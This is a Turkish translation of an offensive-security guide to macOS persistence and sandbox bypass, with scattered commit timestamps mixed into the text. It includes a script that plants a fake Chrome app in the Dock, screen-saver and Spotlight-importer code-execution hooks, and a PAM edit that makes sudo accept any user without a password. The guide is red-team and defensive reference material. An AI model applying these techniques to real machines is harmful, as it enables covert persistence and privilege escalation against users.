Şimdi, bu kalı cı lı ğı GUI erişimi olmadan hazı rlamaya çalı şalı m:
2023-09-28 15:09:34 +00:00
2024-09-21 18:25:13 +00:00
1. ** `~/Library/Preferences/com.apple.FolderActionsDispatcher.plist` ** dosyası nı yedeklemek için `/tmp` 'ye kopyalayı n:
2024-02-10 18:14:16 +00:00
* `cp ~/Library/Preferences/com.apple.FolderActionsDispatcher.plist /tmp`
2024-09-21 18:25:13 +00:00
2. Yeni ayarladı ğı nı z Klasör Eylemlerini **kaldı rı n** :
2023-09-28 15:09:34 +00:00
2024-05-05 22:43:52 +00:00
< figure > < img src = "../.gitbook/assets/image (40).png" alt = "" > < figcaption > < / figcaption > < / figure >
2023-09-28 15:09:34 +00:00
2024-09-21 18:25:13 +00:00
Artı k boş bir ortamı mı z var
2023-09-28 15:09:34 +00:00
2024-07-17 18:36:54 +00:00
3. Yedek dosyası nı kopyalayı n: `cp /tmp/com.apple.FolderActionsDispatcher.plist ~/Library/Preferences/`
2024-09-21 18:25:13 +00:00
4. Bu yapı landı rmayı kullanmak için Folder Actions Setup.app'ı açı n: `open "/System/Library/CoreServices/Applications/Folder Actions Setup.app/"`
2023-09-28 15:09:34 +00:00
{% hint style="danger" %}
2024-09-21 18:25:13 +00:00
Ve bu benim için çalı şmadı , ama bunlar yazı mı n talimatları :(
2023-09-28 15:09:34 +00:00
{% endhint %}
2024-02-10 18:14:16 +00:00
### Dock kı sayolları
2023-09-28 15:09:34 +00:00
2024-09-21 18:25:13 +00:00
Yazı m: [https://theevilbit.github.io/beyond/beyond\_0027/ ](https://theevilbit.github.io/beyond/beyond\_0027/ )
2023-09-28 15:09:34 +00:00
2024-09-21 18:25:13 +00:00
* Sandbox'ı atlatmak için faydalı : [✅ ](https://emojipedia.org/check-mark-button )
* Ama sistem içinde kötü niyetli bir uygulama kurmuş olmanı z gerekiyor
2024-02-10 18:14:16 +00:00
* TCC atlatma: [🔴 ](https://emojipedia.org/large-red-circle )
2023-09-28 20:05:35 +00:00
2024-02-10 18:14:16 +00:00
#### Konum
2023-09-28 15:09:34 +00:00
* `~/Library/Preferences/com.apple.dock.plist`
2024-02-13 00:51:21 +00:00
* **Tetikleyici**: Kullanı cı dock içindeki uygulamaya tı kladı ğı nda
2023-09-28 15:09:34 +00:00
2024-09-21 18:25:13 +00:00
#### Açı klama & Sömürü
2023-09-28 15:09:34 +00:00
2024-09-21 18:25:13 +00:00
Dock'ta görünen tüm uygulamalar plist içinde belirtilmiştir: ** `~/Library/Preferences/com.apple.dock.plist` **
2023-09-28 15:09:34 +00:00
2024-09-21 18:25:13 +00:00
Sadece bir uygulama **eklemek** mümkündür:
2023-09-28 15:09:34 +00:00
{% code overflow="wrap" %}
```bash
# Add /System/Applications/Books.app
defaults write com.apple.dock persistent-apps -array-add '< dict > < key > tile-data< / key > < dict > < key > file-data< / key > < dict > < key > _CFURLString< / key > < string > /System/Applications/Books.app< / string > < key > _CFURLStringType< / key > < integer > 0< / integer > < / dict > < / dict > < / dict > '
# Restart Dock
killall Dock
```
{% endcode %}
2024-09-21 18:25:13 +00:00
Bazı **sosyal mühendislik** teknikleri kullanarak, dock içinde **örneğin Google Chrome'u taklit edebilir** ve aslı nda kendi scriptinizi çalı ştı rabilirsiniz:
2023-09-28 21:12:41 +00:00
```bash
#!/bin/sh
# THIS REQUIRES GOOGLE CHROME TO BE INSTALLED (TO COPY THE ICON)
rm -rf /tmp/Google\ Chrome.app/ 2>/dev/null
# Create App structure
mkdir -p /tmp/Google\ Chrome.app/Contents/MacOS
mkdir -p /tmp/Google\ Chrome.app/Contents/Resources
# Payload to execute
echo '#!/bin/sh
open /Applications/Google\ Chrome.app/ &
touch /tmp/ImGoogleChrome' > /tmp/Google\ Chrome.app/Contents/MacOS/Google\ Chrome
chmod +x /tmp/Google\ Chrome.app/Contents/MacOS/Google\ Chrome
# Info.plist
cat < < EOF > /tmp/Google\ Chrome.app/Contents/Info.plist
<?xml version="1.0" encoding="UTF-8"?>
< !DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN"
"http://www.apple.com/DTDs/PropertyList-1.0.dtd">
< plist version = "1.0" >
< dict >
2024-02-10 18:14:16 +00:00
< key > CFBundleExecutable< / key >
< string > Google Chrome< / string >
< key > CFBundleIdentifier< / key >
< string > com.google.Chrome< / string >
< key > CFBundleName< / key >
< string > Google Chrome< / string >
< key > CFBundleVersion< / key >
< string > 1.0< / string >
< key > CFBundleShortVersionString< / key >
< string > 1.0< / string >
< key > CFBundleInfoDictionaryVersion< / key >
< string > 6.0< / string >
< key > CFBundlePackageType< / key >
< string > APPL< / string >
< key > CFBundleIconFile< / key >
< string > app< / string >
2023-09-28 21:12:41 +00:00
< / dict >
< / plist >
EOF
# Copy icon from Google Chrome
cp /Applications/Google\ Chrome.app/Contents/Resources/app.icns /tmp/Google\ Chrome.app/Contents/Resources/app.icns
# Add to Dock
defaults write com.apple.dock persistent-apps -array-add '< dict > < key > tile-data< / key > < dict > < key > file-data< / key > < dict > < key > _CFURLString< / key > < string > /tmp/Google Chrome.app< / string > < key > _CFURLStringType< / key > < integer > 0< / integer > < / dict > < / dict > < / dict > '
killall Dock
```
2024-02-13 00:51:21 +00:00
### Renk Seçiciler
2023-09-28 21:12:41 +00:00
2024-09-21 18:25:13 +00:00
Writeup: [https://theevilbit.github.io/beyond/beyond\_0017 ](https://theevilbit.github.io/beyond/beyond\_0017/ )
2023-09-28 15:09:34 +00:00
2024-09-21 18:25:13 +00:00
* Sandbox'ı atlatmak için yararlı dı r: [🟠 ](https://emojipedia.org/large-orange-circle )
* Çok spesifik bir eylem gerçekleşmelidir
* Başka bir sandbox'ta sonlanacaksı nı z
2024-02-10 18:14:16 +00:00
* TCC atlatma: [🔴 ](https://emojipedia.org/large-red-circle )
2023-09-28 20:05:35 +00:00
2024-02-10 18:14:16 +00:00
#### Konum
2023-09-28 15:09:34 +00:00
2024-01-10 00:59:55 +00:00
* `/Library/ColorPickers`
2024-09-21 18:25:13 +00:00
* Root gereklidir
* Tetikleyici: Renk seçiciyi kullanı n
2023-09-28 15:09:34 +00:00
* `~/Library/ColorPickers`
2024-09-21 18:25:13 +00:00
* Tetikleyici: Renk seçiciyi kullanı n
2023-09-28 15:09:34 +00:00
2024-09-21 18:25:13 +00:00
#### Açı klama & Sömürü
2023-09-28 15:09:34 +00:00
2024-09-21 18:25:13 +00:00
**Kendi kodunuzla bir renk seçici** paketi derleyin (örneğin [**bunu kullanabilirsiniz** ](https://github.com/viktorstrate/color-picker-plus )) ve bir yapı cı ekleyin (örneğin [Ekran Koruyucu bölümündeki gibi ](macos-auto-start-locations.md#screen-saver )) ve paketi `~/Library/ColorPickers` dizinine kopyalayı n.
2023-09-28 15:09:34 +00:00
2024-09-21 18:25:13 +00:00
Sonra, renk seçici tetiklendiğinde, sizin kodunuz da tetiklenecektir.
2023-09-28 15:09:34 +00:00
2024-09-21 18:25:13 +00:00
Kütüphanenizi yükleyen ikilinin **çok kı sı tlayı cı bir sandbox** 'ı olduğunu unutmayı n: `/System/Library/Frameworks/AppKit.framework/Versions/C/XPCServices/LegacyExternalColorPickerService-x86_64.xpc/Contents/MacOS/LegacyExternalColorPickerService-x86_64`
2024-05-05 22:43:52 +00:00
{% code overflow="wrap" %}
2023-09-28 15:09:34 +00:00
```bash
[Key] com.apple.security.temporary-exception.sbpl
2024-02-10 18:14:16 +00:00
[Value]
[Array]
[String] (deny file-write* (home-subpath "/Library/Colors"))
[String] (allow file-read* process-exec file-map-executable (home-subpath "/Library/ColorPickers"))
[String] (allow file-read* (extension "com.apple.app-sandbox.read"))
2023-06-01 21:09:46 +00:00
```
2023-09-28 15:09:34 +00:00
{% endcode %}
2024-09-21 18:25:13 +00:00
### Finder Sync Eklentileri
2023-09-28 20:05:35 +00:00
2024-09-21 18:25:13 +00:00
**Yazı **: [https://theevilbit.github.io/beyond/beyond\_0026/ ](https://theevilbit.github.io/beyond/beyond\_0026/ )\
**Yazı **: [https://objective-see.org/blog/blog\_0x11.html ](https://objective-see.org/blog/blog\_0x11.html )
2023-09-28 15:09:34 +00:00
2024-09-21 18:25:13 +00:00
* Sandbox'ı atlatmak için yararlı : **Hayı r, çünkü kendi uygulamanı zı çalı ştı rmanı z gerekiyor**
* TCC atlatma: ???
2023-09-28 15:09:34 +00:00
2024-02-10 18:14:16 +00:00
#### Konum
2023-09-28 15:09:34 +00:00
2024-02-10 18:14:16 +00:00
* Belirli bir uygulama
2023-09-28 15:09:34 +00:00
2024-09-21 18:25:13 +00:00
#### Açı klama & Sömürü
2023-06-01 21:09:46 +00:00
2024-09-21 18:25:13 +00:00
Bir Finder Sync Eklentisi ile bir uygulama örneği [**burada bulunabilir** ](https://github.com/D00MFist/InSync ).
2023-06-01 21:09:46 +00:00
2024-09-21 18:25:13 +00:00
Uygulamalar `Finder Sync Eklentileri` içerebilir. Bu eklenti, çalı ştı rı lacak bir uygulamanı n içine girecektir. Ayrı ca, eklentinin kodunu çalı ştı rabilmesi için **geçerli bir Apple geliştirici sertifikası ile imzalanması ** gerekir, **sandbox'lanmı ş** olmalı dı r (rahatlatı lmı ş istisnalar eklenebilir) ve bir şeyle kaydedilmelidir:
2023-06-01 21:09:46 +00:00
```bash
2023-09-28 20:05:35 +00:00
pluginkit -a /Applications/FindIt.app/Contents/PlugIns/FindItSync.appex
pluginkit -e use -i com.example.InSync.InSync
2023-06-01 21:09:46 +00:00
```
2024-02-10 18:14:16 +00:00
### Ekran Koruyucu
2023-06-01 21:09:46 +00:00
2024-09-21 18:25:13 +00:00
Writeup: [https://theevilbit.github.io/beyond/beyond\_0016/ ](https://theevilbit.github.io/beyond/beyond\_0016/ )\
Writeup: [https://posts.specterops.io/saving-your-access-d562bf5bf90b ](https://posts.specterops.io/saving-your-access-d562bf5bf90b )
2023-09-28 15:09:34 +00:00
2024-09-21 18:25:13 +00:00
* Sandbox'ı atlamak için yararlı dı r: [🟠 ](https://emojipedia.org/large-orange-circle )
* Ancak, genel bir uygulama sandbox'ı nda kalı rsı nı z
2024-02-23 16:46:32 +00:00
* TCC atlatma: [🔴 ](https://emojipedia.org/large-red-circle )
2023-09-28 15:09:34 +00:00
2024-02-10 18:14:16 +00:00
#### Konum
2023-09-28 15:09:34 +00:00
2024-01-10 00:59:55 +00:00
* `/System/Library/Screen Savers`
2024-09-21 18:25:13 +00:00
* Root gereklidir
* **Tetikleyici**: Ekran koruyucuyu seçin
2023-09-28 15:09:34 +00:00
* `/Library/Screen Savers`
2024-09-21 18:25:13 +00:00
* Root gereklidir
* **Tetikleyici**: Ekran koruyucuyu seçin
2023-09-28 15:09:34 +00:00
* `~/Library/Screen Savers`
2024-09-21 18:25:13 +00:00
* **Tetikleyici**: Ekran koruyucuyu seçin
2023-09-28 15:09:34 +00:00
2024-05-05 22:43:52 +00:00
< figure > < img src = "../.gitbook/assets/image (38).png" alt = "" width = "375" > < figcaption > < / figcaption > < / figure >
2023-09-28 15:09:34 +00:00
2024-09-21 18:25:13 +00:00
#### Açı klama & Sömürü
2023-09-28 15:09:34 +00:00
2024-09-21 18:25:13 +00:00
Xcode'da yeni bir proje oluşturun ve yeni bir **Ekran Koruyucu** oluşturmak için şablonu seçin. Ardı ndan, buna kodunuzu ekleyin, örneğin log oluşturmak için aşağı daki kodu kullanı n.
2023-09-28 15:09:34 +00:00
2024-09-21 18:25:13 +00:00
**Derleyin** ve `.saver` paketini ** `~/Library/Screen Savers` ** dizinine kopyalayı n. Ardı ndan, Ekran Koruyucu GUI'sini açı n ve üzerine tı kladı ğı nı zda, birçok log oluşturması gerekir:
2023-09-28 15:09:34 +00:00
{% code overflow="wrap" %}
```bash
sudo log stream --style syslog --predicate 'eventMessage CONTAINS[c] "hello_screensaver"'
Timestamp (process)[PID]
2023-09-27 22:55:39.622369+0200 localhost legacyScreenSaver[41737]: (ScreenSaverExample) hello_screensaver void custom(int, const char ** )
2023-09-27 22:55:39.622623+0200 localhost legacyScreenSaver[41737]: (ScreenSaverExample) hello_screensaver -[ScreenSaverExampleView initWithFrame:isPreview:]
2023-09-27 22:55:39.622704+0200 localhost legacyScreenSaver[41737]: (ScreenSaverExample) hello_screensaver -[ScreenSaverExampleView hasConfigureSheet]
```
{% endcode %}
{% hint style="danger" %}
2024-09-21 18:25:13 +00:00
Bu kodu yükleyen ikilinin yetkilendirmeleri içinde ** `com.apple.security.app-sandbox` ** bulunduğundan, **ortak uygulama kumandası nı n içinde** olacaksı nı z.
2023-09-28 15:09:34 +00:00
{% endhint %}
2024-07-17 18:36:54 +00:00
Saver kodu:
2023-09-28 15:09:34 +00:00
```objectivec
//
// ScreenSaverExampleView.m
// ScreenSaverExample
//
// Created by Carlos Polop on 27/9/23.
//
#import "ScreenSaverExampleView.h"
@implementation ScreenSaverExampleView
- (instancetype)initWithFrame:(NSRect)frame isPreview:(BOOL)isPreview
{
2024-02-10 18:14:16 +00:00
NSLog(@"hello_screensaver %s", __PRETTY_FUNCTION__ );
self = [super initWithFrame:frame isPreview:isPreview];
if (self) {
[self setAnimationTimeInterval:1/30.0];
}
return self;
2023-09-28 15:09:34 +00:00
}
- (void)startAnimation
{
2024-02-10 18:14:16 +00:00
NSLog(@"hello_screensaver %s", __PRETTY_FUNCTION__ );
[super startAnimation];
2023-09-28 15:09:34 +00:00
}
- (void)stopAnimation
{
2024-02-10 18:14:16 +00:00
NSLog(@"hello_screensaver %s", __PRETTY_FUNCTION__ );
[super stopAnimation];
2023-09-28 15:09:34 +00:00
}
- (void)drawRect:(NSRect)rect
{
2024-02-10 18:14:16 +00:00
NSLog(@"hello_screensaver %s", __PRETTY_FUNCTION__ );
[super drawRect:rect];
2023-09-28 15:09:34 +00:00
}
- (void)animateOneFrame
{
2024-02-10 18:14:16 +00:00
NSLog(@"hello_screensaver %s", __PRETTY_FUNCTION__ );
return;
2023-09-28 15:09:34 +00:00
}
- (BOOL)hasConfigureSheet
{
2024-02-10 18:14:16 +00:00
NSLog(@"hello_screensaver %s", __PRETTY_FUNCTION__ );
return NO;
2023-09-28 15:09:34 +00:00
}
- (NSWindow*)configureSheet
{
2024-02-10 18:14:16 +00:00
NSLog(@"hello_screensaver %s", __PRETTY_FUNCTION__ );
return nil;
2023-09-28 15:09:34 +00:00
}
__attribute__((constructor))
void custom(int argc, const char **argv) {
2024-02-10 18:14:16 +00:00
NSLog(@"hello_screensaver %s", __PRETTY_FUNCTION__ );
2023-09-28 15:09:34 +00:00
}
@end
```
2024-02-10 18:14:16 +00:00
### Spotlight Eklentileri
2023-09-28 15:09:34 +00:00
2024-09-21 18:25:13 +00:00
writeup: [https://theevilbit.github.io/beyond/beyond\_0011/ ](https://theevilbit.github.io/beyond/beyond\_0011/ )
2023-10-01 18:04:16 +00:00
2024-09-21 18:25:13 +00:00
* Sandbox'ı atlatmak için yararlı dı r: [🟠 ](https://emojipedia.org/large-orange-circle )
* Ama bir uygulama sandbox'ı nda kalacaksı nı z
* TCC atlatma: [🔴 ](https://emojipedia.org/large-red-circle )
* Sandbox çok sı nı rlı görünüyor
2023-10-01 18:04:16 +00:00
2024-02-10 18:14:16 +00:00
#### Konum
2023-10-01 18:04:16 +00:00
2024-09-21 18:25:13 +00:00
* `~/Library/Spotlight/`
* **Tetikleyici**: Spotlight eklentisi tarafı ndan yönetilen bir uzantı ya sahip yeni bir dosya oluşturulur.
* `/Library/Spotlight/`
* **Tetikleyici**: Spotlight eklentisi tarafı ndan yönetilen bir uzantı ya sahip yeni bir dosya oluşturulur.
2024-07-18 17:54:59 +00:00
* Root gerekli
2024-09-21 18:25:13 +00:00
* `/System/Library/Spotlight/`
* **Tetikleyici**: Spotlight eklentisi tarafı ndan yönetilen bir uzantı ya sahip yeni bir dosya oluşturulur.
2024-07-18 17:54:59 +00:00
* Root gerekli
2024-09-21 18:25:13 +00:00
* `Some.app/Contents/Library/Spotlight/`
* **Tetikleyici**: Spotlight eklentisi tarafı ndan yönetilen bir uzantı ya sahip yeni bir dosya oluşturulur.
* Yeni uygulama gerekli
2023-10-01 18:04:16 +00:00
2024-09-21 18:25:13 +00:00
#### Açı klama & Sömürü
2023-10-01 18:04:16 +00:00
2024-09-21 18:25:13 +00:00
Spotlight, kullanı cı ları n **bilgisayarları ndaki verilere hı zlı ve kapsamlı erişim sağlaması ** için tasarlanmı ş macOS'un yerleşik arama özelliğidir.\
Bu hı zlı arama yeteneğini kolaylaştı rmak için, Spotlight **özel bir veritabanı ** tutar ve **çoğu dosyayı ayrı ştı rarak** bir indeks oluşturur, böylece dosya adları ve içerikleri üzerinden hı zlı aramalar yapı lması nı sağlar.
2023-10-01 18:04:16 +00:00
2024-09-21 18:25:13 +00:00
Spotlight'ı n temel mekanizması , ** 'metadata server'** anlamı na gelen 'mds' adlı merkezi bir süreç içerir. Bu süreç, tüm Spotlight hizmetini yönetir. Bununla birlikte, farklı dosya türlerini indeksleme gibi çeşitli bakı m görevlerini yerine getiren birden fazla 'mdworker' daemon'u vardı r (`ps -ef | grep mdworker`). Bu görevler, Spotlight'ı n çeşitli dosya formatları arası nda içerikleri anlaması nı ve indekslemesini sağlayan Spotlight importer eklentileri veya ** ".mdimporter paketleri** aracı lı ğı yla mümkün hale gelir.
2023-10-01 18:04:16 +00:00
2024-09-21 18:25:13 +00:00
Eklentiler veya ** `.mdimporter` ** paketleri daha önce belirtilen yerlerde bulunur ve yeni bir paket ortaya çı ktı ğı nda, bir dakika içinde yüklenir (herhangi bir hizmetin yeniden başlatı lması na gerek yoktur). Bu paketler, hangi **dosya türü ve uzantı ları yönetebileceklerini** belirtmelidir, bu şekilde, belirtilen uzantı ya sahip yeni bir dosya oluşturulduğunda Spotlight bunları kullanacaktı r.
2023-10-01 18:04:16 +00:00
2024-09-21 18:25:13 +00:00
Tüm yüklü `mdimporters` 'ı bulmak mümkündür:
2023-10-01 18:04:16 +00:00
```bash
mdimport -L
Paths: id(501) (
2024-02-10 18:14:16 +00:00
"/System/Library/Spotlight/iWork.mdimporter",
"/System/Library/Spotlight/iPhoto.mdimporter",
"/System/Library/Spotlight/PDF.mdimporter",
[...]
2023-10-01 18:04:16 +00:00
```
2024-09-21 18:25:13 +00:00
Ve örneğin ** /Library/Spotlight/iBooksAuthor.mdimporter** bu tür dosyaları (diğerleri arası nda `.iba` ve `.book` uzantı ları ) ayrı ştı rmak için kullanı lı r:
2023-10-01 18:04:16 +00:00
```json
plutil -p /Library/Spotlight/iBooksAuthor.mdimporter/Contents/Info.plist
[...]
"CFBundleDocumentTypes" => [
2024-02-10 18:14:16 +00:00
0 => {
"CFBundleTypeName" => "iBooks Author Book"
"CFBundleTypeRole" => "MDImporter"
"LSItemContentTypes" => [
0 => "com.apple.ibooksauthor.book"
1 => "com.apple.ibooksauthor.pkgbook"
2 => "com.apple.ibooksauthor.template"
3 => "com.apple.ibooksauthor.pkgtemplate"
]
"LSTypeIsPackage" => 0
}
]
2023-10-01 18:04:16 +00:00
[...]
2024-02-10 18:14:16 +00:00
=> {
"UTTypeConformsTo" => [
0 => "public.data"
1 => "public.composite-content"
]
"UTTypeDescription" => "iBooks Author Book"
"UTTypeIdentifier" => "com.apple.ibooksauthor.book"
"UTTypeReferenceURL" => "http://www.apple.com/ibooksauthor"
"UTTypeTagSpecification" => {
"public.filename-extension" => [
0 => "iba"
1 => "book"
]
}
}
2023-10-01 18:04:16 +00:00
[...]
```
{% hint style="danger" %}
2024-09-21 18:25:13 +00:00
Diğer `mdimporter` 'ları n Plist'ini kontrol ederseniz, ** `UTTypeConformsTo` ** girişini bulamayabilirsiniz. Bunun nedeni, bunun yerleşik bir _Uniform Type Identifiers_ ([UTI](https://en.wikipedia.org/wiki/Uniform\_Type\_Identifier)) olması ve uzantı ları belirtmesine gerek olmaması dı r.
2023-10-01 18:04:16 +00:00
2024-09-21 18:25:13 +00:00
Ayrı ca, sistem varsayı lan eklentileri her zaman önceliklidir, bu nedenle bir saldı rgan yalnı zca Apple'ı n kendi `mdimporters` tarafı ndan başka türlü dizinlenmemiş dosyalara erişebilir.
2023-10-01 18:04:16 +00:00
{% endhint %}
2024-09-21 18:25:13 +00:00
Kendi importer'ı nı zı oluşturmak için bu projeyle başlayabilirsiniz: [https://github.com/megrimm/pd-spotlight-importer ](https://github.com/megrimm/pd-spotlight-importer ) ve ardı ndan ismi, ** `CFBundleDocumentTypes` **'ı değiştirip desteklemek istediğiniz uzantı yı desteklemesi için ** `UTImportedTypeDeclarations` ** ekleyin ve bunları ** `schema.xml` **'de yansı tı n.\
Sonra ** `GetMetadataForFile` ** fonksiyonunun kodunu, işlenmiş uzantı ya sahip bir dosya oluşturulduğunda yüklemenizi çalı ştı racak şekilde **değiştirin** .
2023-10-01 18:04:16 +00:00
2024-09-21 18:25:13 +00:00
Son olarak, **yeni `.mdimporter`'ı nı zı oluşturun ve kopyalayı n** ve önceki konumlardan birine yerleştirin, **logları izleyerek** veya ** `mdimport -L.` ** kontrol ederek yüklendiğini kontrol edebilirsiniz.
2023-10-01 18:04:16 +00:00
2024-09-21 18:25:13 +00:00
### ~~Tercih Pane~~
2023-06-01 21:09:46 +00:00
2023-09-28 20:05:35 +00:00
{% hint style="danger" %}
2024-09-21 18:25:13 +00:00
Artı k bunun çalı ştı ğı görünmüyor.
2023-09-28 20:05:35 +00:00
{% endhint %}
2023-09-28 15:09:34 +00:00
2024-09-21 18:25:13 +00:00
Yazı : [https://theevilbit.github.io/beyond/beyond\_0009/ ](https://theevilbit.github.io/beyond/beyond\_0009/ )
2023-09-28 15:09:34 +00:00
2024-09-21 18:25:13 +00:00
* Sandbox'ı atlamak için yararlı dı r: [🟠 ](https://emojipedia.org/large-orange-circle )
2024-02-10 18:14:16 +00:00
* Belirli bir kullanı cı eylemi gerektirir
2024-03-17 16:37:08 +00:00
* TCC atlatma: [🔴 ](https://emojipedia.org/large-red-circle )
2023-09-28 15:09:34 +00:00
2024-02-10 18:14:16 +00:00
#### Konum
2023-09-28 15:09:34 +00:00
2023-09-28 20:05:35 +00:00
* **`/System/Library/PreferencePanes`**
* **`/Library/PreferencePanes`**
* **`~/Library/PreferencePanes`**
2023-06-01 21:09:46 +00:00
2024-09-21 18:25:13 +00:00
#### Açı klama
Artı k bunun çalı ştı ğı görünmüyor.
2024-03-17 16:37:08 +00:00
2024-09-21 18:25:13 +00:00
## Root Sandbox Atlatma
2023-06-01 21:09:46 +00:00
2023-09-28 20:05:35 +00:00
{% hint style="success" %}
2024-09-21 18:25:13 +00:00
Burada, **root** olarak **bir dosyaya yazarak** basitçe bir şey çalı ştı rmanı za olanak tanı yan **sandbox atlatma** için yararlı başlangı ç konumları nı bulabilirsiniz ve/veya diğer **garip koşulları ** gerektirir.
2023-09-28 20:05:35 +00:00
{% endhint %}
2023-09-28 15:09:34 +00:00
2024-02-10 18:14:16 +00:00
### Periyodik
2023-06-01 21:09:46 +00:00
2024-09-21 18:25:13 +00:00
Yazı : [https://theevilbit.github.io/beyond/beyond\_0019/ ](https://theevilbit.github.io/beyond/beyond\_0019/ )
2023-09-26 23:39:35 +00:00
2024-09-21 18:25:13 +00:00
* Sandbox'ı atlamak için yararlı dı r: [🟠 ](https://emojipedia.org/large-orange-circle )
* Ama root olmanı z gerekiyor
2024-03-17 16:37:08 +00:00
* TCC atlatma: [🔴 ](https://emojipedia.org/large-red-circle )
2023-09-26 23:39:35 +00:00
2024-02-10 18:14:16 +00:00
#### Konum
2023-09-26 23:39:35 +00:00
2023-09-28 20:05:35 +00:00
* `/etc/periodic/daily` , `/etc/periodic/weekly` , `/etc/periodic/monthly` , `/usr/local/etc/periodic`
2024-09-21 18:25:13 +00:00
* Root gereklidir
2024-05-05 22:43:52 +00:00
* **Tetikleyici**: Zamanı geldiğinde
2024-02-10 18:14:16 +00:00
* `/etc/daily.local` , `/etc/weekly.local` veya `/etc/monthly.local`
2024-09-21 18:25:13 +00:00
* Root gereklidir
2024-05-05 22:43:52 +00:00
* **Tetikleyici**: Zamanı geldiğinde
2023-09-28 15:09:34 +00:00
2024-09-21 18:25:13 +00:00
#### Açı klama & Sömürü
2024-07-17 18:36:54 +00:00
2024-09-21 18:25:13 +00:00
Periyodik betikler (**`/etc/periodic`**) `/System/Library/LaunchDaemons/com.apple.periodic*` içinde yapı landı rı lan **başlatma daemon'ları ** nedeniyle çalı ştı rı lı r. `/etc/periodic/` içinde saklanan betiklerin **dosya sahibi olarak** **çalı ştı rı ldı ğı nı ** unutmayı n, bu nedenle bu potansiyel bir ayrı calı k yükseltmesi için işe yaramayacaktı r.
{% code overflow="wrap" %}
2023-09-28 20:05:35 +00:00
```bash
# Launch daemons that will execute the periodic scripts
ls -l /System/Library/LaunchDaemons/com.apple.periodic*
-rw-r--r-- 1 root wheel 887 May 13 00:29 /System/Library/LaunchDaemons/com.apple.periodic-daily.plist
-rw-r--r-- 1 root wheel 895 May 13 00:29 /System/Library/LaunchDaemons/com.apple.periodic-monthly.plist
-rw-r--r-- 1 root wheel 891 May 13 00:29 /System/Library/LaunchDaemons/com.apple.periodic-weekly.plist
2023-09-28 15:09:34 +00:00
2023-09-28 20:05:35 +00:00
# The scripts located in their locations
ls -lR /etc/periodic
total 0
drwxr-xr-x 11 root wheel 352 May 13 00:29 daily
drwxr-xr-x 5 root wheel 160 May 13 00:29 monthly
drwxr-xr-x 3 root wheel 96 May 13 00:29 weekly
2023-09-28 15:09:34 +00:00
2023-09-28 20:05:35 +00:00
/etc/periodic/daily:
total 72
-rwxr-xr-x 1 root wheel 1642 May 13 00:29 110.clean-tmps
-rwxr-xr-x 1 root wheel 695 May 13 00:29 130.clean-msgs
[...]
2023-06-01 21:09:46 +00:00
2023-09-28 20:05:35 +00:00
/etc/periodic/monthly:
total 24
-rwxr-xr-x 1 root wheel 888 May 13 00:29 199.rotate-fax
-rwxr-xr-x 1 root wheel 1010 May 13 00:29 200.accounting
-rwxr-xr-x 1 root wheel 606 May 13 00:29 999.local
2023-06-01 21:09:46 +00:00
2023-09-28 20:05:35 +00:00
/etc/periodic/weekly:
total 8
-rwxr-xr-x 1 root wheel 620 May 13 00:29 999.local
2023-06-01 21:09:46 +00:00
```
2023-09-28 20:05:35 +00:00
{% endcode %}
2023-06-01 21:09:46 +00:00
2024-09-21 18:25:13 +00:00
**`/etc/defaults/periodic.conf`** dosyası nda belirtilen diğer periyodik betikler de çalı ştı rı lacaktı r:
2023-06-01 21:09:46 +00:00
```bash
2023-09-28 20:05:35 +00:00
grep "Local scripts" /etc/defaults/periodic.conf
daily_local="/etc/daily.local" # Local scripts
weekly_local="/etc/weekly.local" # Local scripts
monthly_local="/etc/monthly.local" # Local scripts
2023-06-01 21:09:46 +00:00
```
2024-09-21 18:25:13 +00:00
Eğer `/etc/daily.local` , `/etc/weekly.local` veya `/etc/monthly.local` dosyaları ndan herhangi birini yazmayı başarı rsanı z, bu dosya **bir şekilde çalı ştı rı lacaktı r** .
2023-09-28 15:09:34 +00:00
2023-11-02 16:52:21 +00:00
{% hint style="warning" %}
2024-09-21 18:25:13 +00:00
Periyodik scriptin **scriptin sahibi olarak çalı ştı rı lacağı nı ** unutmayı n. Yani eğer scriptin sahibi bir normal kullanı cı ysa, bu script o kullanı cı olarak çalı ştı rı lacaktı r (bu, ayrı calı k yükseltme saldı rı ları nı önleyebilir).
2023-11-02 16:52:21 +00:00
{% endhint %}
2023-09-28 20:05:35 +00:00
### PAM
2023-09-28 15:09:34 +00:00
2024-09-21 18:25:13 +00:00
Yazı : [Linux Hacktricks PAM ](../linux-hardening/linux-post-exploitation/pam-pluggable-authentication-modules.md )\
Yazı : [https://theevilbit.github.io/beyond/beyond\_0005/ ](https://theevilbit.github.io/beyond/beyond\_0005/ )
2023-09-28 15:09:34 +00:00
2024-09-21 18:25:13 +00:00
* Sandbox'ı atlatmak için faydalı : [🟠 ](https://emojipedia.org/large-orange-circle )
* Ama root olmanı z gerekiyor
2024-02-23 16:46:32 +00:00
* TCC atlatma: [🔴 ](https://emojipedia.org/large-red-circle )
2023-09-28 15:09:34 +00:00
2024-02-10 18:14:16 +00:00
#### Konum
2023-09-28 20:05:35 +00:00
2024-09-21 18:25:13 +00:00
* Her zaman root gereklidir
2023-09-28 20:05:35 +00:00
2024-09-21 18:25:13 +00:00
#### Açı klama & Sömürü
2023-09-28 20:05:35 +00:00
2024-09-21 18:25:13 +00:00
PAM, **kalı cı lı k** ve kötü amaçlı yazı lı mlara daha fazla odaklandı ğı için, bu blog detaylı bir açı klama vermeyecek, **bu tekniği daha iyi anlamak için yazı ları okuyun** .
2023-11-02 16:52:21 +00:00
2024-02-10 18:14:16 +00:00
PAM modüllerini kontrol etmek için:
2023-11-02 16:52:21 +00:00
```bash
ls -l /etc/pam.d
```
2024-09-21 18:25:13 +00:00
Bir kalı cı lı k/ayrı m yükseltme tekniği PAM'ı istismar etmek, /etc/pam.d/sudo modülünü değiştirmek kadar kolaydı r; başı na şu satı rı ekleyerek:
2023-11-02 16:52:21 +00:00
```bash
auth sufficient pam_permit.so
```
2024-09-21 18:25:13 +00:00
Böyle bir şeye **benziyor** :
2023-11-02 16:52:21 +00:00
```bash
# sudo: auth account password session
auth sufficient pam_permit.so
auth include sudo_local
auth sufficient pam_smartcard.so
auth required pam_opendirectory.so
account required pam_permit.so
password required pam_deny.so
session required pam_permit.so
```
2024-09-21 18:25:13 +00:00
Ve bu nedenle ** `sudo` kullanma girişimi çalı şacaktı r**.
2023-11-02 16:52:21 +00:00
{% hint style="danger" %}
2024-09-21 18:25:13 +00:00
Bu dizinin TCC tarafı ndan korunduğunu unutmayı n, bu nedenle kullanı cı nı n erişim izni istemesi olası dı r.
2023-11-02 16:52:21 +00:00
{% endhint %}
2024-09-21 18:25:13 +00:00
